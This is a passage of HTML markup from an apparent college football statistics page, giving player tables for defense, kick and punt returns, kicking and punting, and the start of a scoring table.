<td align="left" csk="Hayward,Casey"><a href="/cfb/players/casey-hayward-1.html">Casey Hayward</a></td>
<td align="right" >56</td>
<td align="right" >14</td>
<td align="right" >70</td>
<td align="right" >2.0</td>
<td align="right" >0.0</td>
<td align="right" >6</td>
<td align="right" >13</td>
<td align="right" >2.2</td>
<td align="right" >0</td>
<td align="right" >17</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
</tr>
<tr class="">
<td align="right" csk="5">5</td>
<td align="left" csk="Ladler,Kenny"><a href="/cfb/players/kenny-ladler-1.html">Kenny Ladler</a></td>
<td align="right" >40</td>
<td align="right" >17</td>
<td align="right" >57</td>
<td align="right" >5.5</td>
<td align="right" >0.0</td>
<td align="right" >1</td>
<td align="right" >0</td>
<td align="right" >0.0</td>
<td align="right" >0</td>
<td align="right" >3</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
</tr>
<tr class="">
<td align="right" csk="6">6</td>
<td align="left" csk="Foster,Eddie"><a href="/cfb/players/eddie-foster-1.html">Eddie Foster</a></td>
<td align="right" >36</td>
<td align="right" >17</td>
<td align="right" >53</td>
<td align="right" >6.0</td>
<td align="right" >0.0</td>
<td align="right" >1</td>
<td align="right" >21</td>
<td align="right" >21.0</td>
<td align="right" >1</td>
<td align="right" >4</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
</tr>
<tr class="">
<td align="right" csk="7">7</td>
<td align="left" csk="Lohr,Rob"><a href="/cfb/players/rob-lohr-1.html">Rob Lohr</a></td>
<td align="right" >24</td>
<td align="right" >11</td>
<td align="right" >35</td>
<td align="right" >7.5</td>
<td align="right" >3.5</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="8">8</td>
<td align="left" csk="Nichter,Colt"><a href="/cfb/players/colt-nichter-1.html">Colt Nichter</a></td>
<td align="right" >16</td>
<td align="right" >16</td>
<td align="right" >32</td>
<td align="right" >5.5</td>
<td align="right" >3.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="9">9</td>
<td align="left" csk="Fullam,Jay"><a href="/cfb/players/jay-fullam-1.html">Jay Fullam</a></td>
<td align="right" >19</td>
<td align="right" >11</td>
<td align="right" >30</td>
<td align="right" >1.5</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >2</td>
</tr>
<tr class="">
<td align="right" csk="10">10</td>
<td align="left" csk="May,Walker"><a href="/cfb/players/walker-may-1.html">Walker May</a></td>
<td align="right" >16</td>
<td align="right" >13</td>
<td align="right" >29</td>
<td align="right" >6.0</td>
<td align="right" >1.5</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="11">11</td>
<td align="left" csk="Greenstone,T.J."><a href="/cfb/players/tj-greenstone-1.html">T.J. Greenstone</a></td>
<td align="right" >13</td>
<td align="right" >15</td>
<td align="right" >28</td>
<td align="right" >4.5</td>
<td align="right" >1.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="12">12</td>
<td align="left" csk="Campbell,Nate"><a href="/cfb/players/nate-campbell-1.html">Nate Campbell</a></td>
<td align="right" >21</td>
<td align="right" >6</td>
<td align="right" >27</td>
<td align="right" >4.5</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
</tr>
<tr class="">
<td align="right" csk="13">13</td>
<td align="left" csk="Samuels,Eric"><a href="/cfb/players/eric-samuels-1.html">Eric Samuels</a></td>
<td align="right" >14</td>
<td align="right" >13</td>
<td align="right" >27</td>
<td align="right" >1.5</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >3</td>
<td align="right" ></td>
<td align="right" >2</td>
<td align="right" ></td>
<td align="right" >1</td>
</tr>
<tr class="">
<td align="right" csk="14">14</td>
<td align="left" csk="Kadri,Theron"><a href="/cfb/players/theron-kadri-1.html">Theron Kadri</a></td>
<td align="right" >13</td>
<td align="right" >14</td>
<td align="right" >27</td>
<td align="right" >2.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="15">15</td>
<td align="left" csk="Fugger,Tim"><a href="/cfb/players/tim-fugger-1.html">Tim Fugger</a></td>
<td align="right" >13</td>
<td align="right" >9</td>
<td align="right" >22</td>
<td align="right" >5.0</td>
<td align="right" >3.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >4</td>
</tr>
<tr class="">
<td align="right" csk="16">16</td>
<td align="left" csk="Thomas,Johnell"><a href="/cfb/players/johnell-thomas-1.html">Johnell Thomas</a></td>
<td align="right" >11</td>
<td align="right" >11</td>
<td align="right" >22</td>
<td align="right" >3.5</td>
<td align="right" >1.5</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="17">17</td>
<td align="left" csk="Clarke,Steven"><a href="/cfb/players/steven-clarke-1.html">Steven Clarke</a></td>
<td align="right" >10</td>
<td align="right" >6</td>
<td align="right" >16</td>
<td align="right" >1.0</td>
<td align="right" >1.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="18">18</td>
<td align="left" csk="Hal,Andre"><a href="/cfb/players/andre-hal-1.html">Andre Hal</a></td>
<td align="right" >10</td>
<td align="right" >5</td>
<td align="right" >15</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="19">19</td>
<td align="left" csk="Jelesky,Josh"><a href="/cfb/players/josh-jelesky-1.html">Josh Jelesky</a></td>
<td align="right" >5</td>
<td align="right" >10</td>
<td align="right" >15</td>
<td align="right" >2.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="20">20</td>
<td align="left" csk="Jones,Deandre"><a href="/cfb/players/deandre-jones-1.html">Deandre Jones</a></td>
<td align="right" >9</td>
<td align="right" >4</td>
<td align="right" >13</td>
<td align="right" >2.5</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="21">21</td>
<td align="left" csk="Barnes,Archibald"><a href="/cfb/players/archibald-barnes-1.html">Archibald Barnes</a></td>
<td align="right" >7</td>
<td align="right" >4</td>
<td align="right" >11</td>
<td align="right" >1.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
</tr>
<tr class="">
<td align="right" csk="22">22</td>
<td align="left" csk="Wilson,Trey"><a href="/cfb/players/trey-wilson-1.html">Trey Wilson</a></td>
<td align="right" >8</td>
<td align="right" >3</td>
<td align="right" >11</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="23">23</td>
<td align="left" csk="Brannon,Teriall"><a href="/cfb/players/teriall-brannon-1.html">Teriall Brannon</a></td>
<td align="right" >5</td>
<td align="right" >4</td>
<td align="right" >9</td>
<td align="right" >2.5</td>
<td align="right" >1.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="24">24</td>
<td align="left" csk="Graham,Jamie"><a href="/cfb/players/jamie-graham-1.html">Jamie Graham</a></td>
<td align="right" >8</td>
<td align="right" >1</td>
<td align="right" >9</td>
<td align="right" >1.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="25">25</td>
<td align="left" csk="Garnham,Chase"><a href="/cfb/players/chase-garnham-1.html">Chase Garnham</a></td>
<td align="right" >3</td>
<td align="right" >5</td>
<td align="right" >8</td>
<td align="right" >0.5</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="26">26</td>
<td align="left" csk="Loftley,Taylor"><a href="/cfb/players/taylor-loftley-1.html">Taylor Loftley</a></td>
<td align="right" >4</td>
<td align="right" >3</td>
<td align="right" >7</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="27">27</td>
<td align="left" csk="Morse,Jared"><a href="/cfb/players/jared-morse-1.html">Jared Morse</a></td>
<td align="right" >5</td>
<td align="right" >2</td>
<td align="right" >7</td>
<td align="right" >1.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="28">28</td>
<td align="left" csk="Daniels,Dexter"><a href="/cfb/players/dexter-daniels-2.html">Dexter Daniels</a></td>
<td align="right" >6</td>
<td align="right" >0</td>
<td align="right" >6</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="29">29</td>
<td align="left" csk="Umoh,Udom"><a href="/cfb/players/udom-umoh-1.html">Udom Umoh</a></td>
<td align="right" >5</td>
<td align="right" >1</td>
<td align="right" >6</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="30">30</td>
<td align="left" csk="Marshall,Javon"><a href="/cfb/players/javon-marshall-1.html">Javon Marshall</a></td>
<td align="right" >1</td>
<td align="right" >3</td>
<td align="right" >4</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
</tr>
<tr class="">
<td align="right" csk="31">31</td>
<td align="left" csk="Matthews,Jordan"><a href="/cfb/players/jordan-matthews-1.html">Jordan Matthews</a></td>
<td align="right" >3</td>
<td align="right" >1</td>
<td align="right" >4</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="32">32</td>
<td align="left" csk="Simmons,Andre"><a href="/cfb/players/andre-simmons-2.html">Andre Simmons</a></td>
<td align="right" >4</td>
<td align="right" >0</td>
<td align="right" >4</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="33">33</td>
<td align="left" csk="Butler,Karl"><a href="/cfb/players/karl-butler-1.html">Karl Butler</a></td>
<td align="right" >1</td>
<td align="right" >2</td>
<td align="right" >3</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" >1</td>
<td align="right" >33</td>
<td align="right" >33.0</td>
<td align="right" >0</td>
<td align="right" >1</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="34">34</td>
<td align="left" csk="Krause,Jonathan"><a href="/cfb/players/jonathan-krause-1.html">Jonathan Krause</a></td>
<td align="right" >3</td>
<td align="right" >0</td>
<td align="right" >3</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="35">35</td>
<td align="left" csk="Strong,Tristan"><a href="/cfb/players/tristan-strong-1.html">Tristan Strong</a></td>
<td align="right" >2</td>
<td align="right" >1</td>
<td align="right" >3</td>
<td align="right" >0.5</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="36">36</td>
<td align="left" csk="Van Rensburg,Ryan"><a href="/cfb/players/ryan-van-rensburg-1.html">Ryan Van Rensburg</a></td>
<td align="right" >2</td>
<td align="right" >1</td>
<td align="right" >3</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="37">37</td>
<td align="left" csk="Fischer,Kyle"><a href="/cfb/players/kyle-fischer-1.html">Kyle Fischer</a></td>
<td align="right" >2</td>
<td align="right" >0</td>
<td align="right" >2</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="38">38</td>
<td align="left" csk="Powell,Micah"><a href="/cfb/players/micah-powell-1.html">Micah Powell</a></td>
<td align="right" >2</td>
<td align="right" >0</td>
<td align="right" >2</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="39">39</td>
<td align="left" csk="Smotherman,Adam"><a href="/cfb/players/adam-smotherman-1.html">Adam Smotherman</a></td>
<td align="right" >2</td>
<td align="right" >0</td>
<td align="right" >2</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="40">40</td>
<td align="left" csk="Spear,Carey"><a href="/cfb/players/carey-spear-1.html">Carey Spear</a></td>
<td align="right" >2</td>
<td align="right" >0</td>
<td align="right" >2</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="41">41</td>
<td align="left" csk="Cole,John"><a href="/cfb/players/john-cole-1.html">John Cole</a></td>
<td align="right" >0</td>
<td align="right" >1</td>
<td align="right" >1</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="42">42</td>
<td align="left" csk="Funk,Jared"><a href="/cfb/players/jared-funk-1.html">Jared Funk</a></td>
<td align="right" >1</td>
<td align="right" >0</td>
<td align="right" >1</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="43">43</td>
<td align="left" csk="Giller,David"><a href="/cfb/players/david-giller-1.html">David Giller</a></td>
<td align="right" >0</td>
<td align="right" >1</td>
<td align="right" >1</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="44">44</td>
<td align="left" csk="Kent,Richard"><a href="/cfb/players/richard-kent-1.html">Richard Kent</a></td>
<td align="right" >1</td>
<td align="right" >0</td>
<td align="right" >1</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="45">45</td>
<td align="left" csk="McHaney,Thad"><a href="/cfb/players/thad-mchaney-1.html">Thad McHaney</a></td>
<td align="right" >0</td>
<td align="right" >1</td>
<td align="right" >1</td>
<td align="right" >0.5</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="46">46</td>
<td align="left" csk="Panu,Marc"><a href="/cfb/players/marc-panu-1.html">Marc Panu</a></td>
<td align="right" >0</td>
<td align="right" >1</td>
<td align="right" >1</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="47">47</td>
<td align="left" csk="Stacy,Zac"><a href="/cfb/players/zac-stacy-1.html">Zac Stacy</a></td>
<td align="right" >1</td>
<td align="right" >0</td>
<td align="right" >1</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="48">48</td>
<td align="left" csk="Vaughn,Duane"><a href="/cfb/players/duane-vaughn-1.html">Duane Vaughn</a></td>
<td align="right" >0</td>
<td align="right" >1</td>
<td align="right" >1</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="49">49</td>
<td align="left" csk="Wimberly,Turner"><a href="/cfb/players/turner-wimberly-1.html">Turner Wimberly</a></td>
<td align="right" >1</td>
<td align="right" >0</td>
<td align="right" >1</td>
<td align="right" >0.0</td>
<td align="right" >0.0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
</tbody>
</table>
</div>
<div class="table_heading">
<h2 style="">Kick & Punt Returns</h2>
<div class="table_heading_text"></div>
</div>
<div class="table_container" id="div_returns">
<table class="sortable stats_table" id="returns">
<colgroup><col><col><col><col><col><col><col><col><col><col></colgroup>
<thead>
<tr class=" over_header">
<th align="CENTER" colspan=2 class="tooltip over_header" ></th>
<th align="center" colspan=4 class="bold_text over_header" >Kick Ret</th>
<th align="center" colspan=4 class="bold_text over_header" >Punt Ret</th>
</tr>
<tr class="">
<th align="right" class="ranker sort_default_asc" tip="Rank">Rk</th>
<th align="left" class="tooltip sort_default_asc" >Player</th>
<th align="right" class="tooltip" tip="Kickoff Returns">Ret</th>
<th align="right" class="tooltip" tip="Kickoff Return Yards">Yds</th>
<th align="right" class="tooltip" tip="Kickoff Return Yards Per Return">Avg</th>
<th align="right" class="tooltip" tip="Kickoff Return Touchdowns">TD</th>
<th align="right" class="tooltip" tip="Punt Returns">Ret</th>
<th align="right" class="tooltip" tip="Punt Return Yards">Yds</th>
<th align="right" class="tooltip" tip="Punt Return Yards Per Return">Avg</th>
<th align="right" class="tooltip" tip="Punt Return Touchdowns">TD</th>
</tr>
</thead>
<tbody>
<tr class="">
<td align="right" csk="1">1</td>
<td align="left" csk="Samuels,Eric"><a href="/cfb/players/eric-samuels-1.html">Eric Samuels</a></td>
<td align="right" >27</td>
<td align="right" >549</td>
<td align="right" >20.3</td>
<td align="right" >0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="2">2</td>
<td align="left" csk="Norman,Warren"><a href="/cfb/players/warren-norman-1.html">Warren Norman</a></td>
<td align="right" >22</td>
<td align="right" >558</td>
<td align="right" >25.4</td>
<td align="right" >0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="3">3</td>
<td align="left" csk="Hal,Andre"><a href="/cfb/players/andre-hal-1.html">Andre Hal</a></td>
<td align="right" >11</td>
<td align="right" >260</td>
<td align="right" >23.6</td>
<td align="right" >0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="4">4</td>
<td align="left" csk="Wilson,Trey"><a href="/cfb/players/trey-wilson-1.html">Trey Wilson</a></td>
<td align="right" >1</td>
<td align="right" >2</td>
<td align="right" >2.0</td>
<td align="right" >0</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="5">5</td>
<td align="left" csk="Cole,John"><a href="/cfb/players/john-cole-1.html">John Cole</a></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >18</td>
<td align="right" >143</td>
<td align="right" >7.9</td>
<td align="right" >0</td>
</tr>
<tr class="">
<td align="right" csk="6">6</td>
<td align="left" csk="Stacy,Zac"><a href="/cfb/players/zac-stacy-1.html">Zac Stacy</a></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >5</td>
<td align="right" >12</td>
<td align="right" >2.4</td>
<td align="right" >0</td>
</tr>
<tr class="">
<td align="right" csk="7">7</td>
<td align="left" csk="Van Rensburg,Ryan"><a href="/cfb/players/ryan-van-rensburg-1.html">Ryan Van Rensburg</a></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
<td align="right" >18</td>
<td align="right" >18.0</td>
<td align="right" >0</td>
</tr>
<tr class="">
<td align="right" csk="8">8</td>
<td align="left" csk="Krause,Jonathan"><a href="/cfb/players/jonathan-krause-1.html">Jonathan Krause</a></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >1</td>
<td align="right" >4</td>
<td align="right" >4.0</td>
<td align="right" >0</td>
</tr>
</tbody>
</table>
</div>
<div class="table_heading">
<h2 style="">Kicking & Punting</h2>
<div class="table_heading_text"></div>
</div>
<div class="table_container" id="div_kicking_and_punting">
<table class="sortable stats_table" id="kicking_and_punting">
<colgroup><col><col><col><col><col><col><col><col><col><col><col><col></colgroup>
<thead>
<tr class=" over_header">
<th align="CENTER" colspan=2 class="tooltip over_header" ></th>
<th align="center" colspan=7 class="bold_text over_header" >Kicking</th>
<th align="center" colspan=3 class="bold_text over_header" >Punting</th>
</tr>
<tr class="">
<th align="right" class="ranker sort_default_asc" tip="Rank">Rk</th>
<th align="left" class="tooltip sort_default_asc" >Player</th>
<th align="right" class="tooltip" tip="Extra Points Made">XPM</th>
<th align="right" class="tooltip" tip="Extra Point Attempts">XPA</th>
<th align="right" class="tooltip" tip="Extra Point Percentage">XP%</th>
<th align="right" class="tooltip" tip="Field Goals Made">FGM</th>
<th align="right" class="tooltip" tip="Field Goal Attempts">FGA</th>
<th align="right" class="tooltip" tip="Field Goal Percentage">FG%</th>
<th align="right" class="tooltip" tip="Points Kicking">Pts</th>
<th align="right" class="tooltip" tip="Punts">Punts</th>
<th align="right" class="tooltip" tip="Punting Yards">Yds</th>
<th align="right" class="tooltip" tip="Punting Yards Per Punt">Avg</th>
</tr>
</thead>
<tbody>
<tr class="">
<td align="right" csk="1">1</td>
<td align="left" csk="Fowler,Ryan"><a href="/cfb/players/ryan-fowler-2.html">Ryan Fowler</a></td>
<td align="right" >23</td>
<td align="right" >24</td>
<td align="right" >95.8</td>
<td align="right" >8</td>
<td align="right" >13</td>
<td align="right" >61.5</td>
<td align="right" >47</td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
</tr>
<tr class="">
<td align="right" csk="2">2</td>
<td align="left" csk="Kent,Richard"><a href="/cfb/players/richard-kent-1.html">Richard Kent</a></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" ></td>
<td align="right" >84</td>
<td align="right" >3511</td>
<td align="right" >41.8</td>
</tr>
</tbody>
</table>
</div>
<div class="table_heading">
<h2 style="">Scoring</h2>
<div class="table_heading_text"></div>
</div>
<div class="table_container" id="div_scoring">
<table class="sortable stats_table" id="scoring">
<colgroup><col><col><col><col><col><col><col><col><col><col><col><col><col><col><col></colgroup>
<thead>
<tr class=" over_header">
<th align="CENTER" colspan=2 class="tooltip over_header" ></th>
<th align="center" colspan=8 class="bold_text over_header" >Touchdowns</th>
<th align="center" colspan=2 class="bold_text over_header" >Kicking</th>
<th align="CENTER" colspan=2 class="tooltip over_header" ></th>
<th></th>
</tr>
<tr class="">
<th align="right" class="ranker sort_default_asc" tip="Rank">Rk</th>
<th align="left" class="tooltip sort_default_asc" >Player</th>
<th align="right" class="tooltip" tip="Rushing Touchdowns">Rush</th>
<th align="right" class="tooltip" tip="Receiving Touchdowns">Rec</th>
<th align="right" class="tooltip" tip="Interception Return Touchdowns">Int</th>
<th align="right" class="tooltip" tip="Fumble Recovery Return Touchdowns">FR</th>
<th align="right" class="tooltip" tip="Punt Return Touchdowns">PR</th>
<th align="right" class="tooltip" tip="Kick Return Touchdowns">KR</th>
<th align="right" class="tooltip" tip="Other Touchdowns">Oth</th>
<th align="right" class="tooltip" tip="Total Touchdowns">Tot</th>
<th align="right" class="tooltip" tip="Extra Points Made">XPM</th>
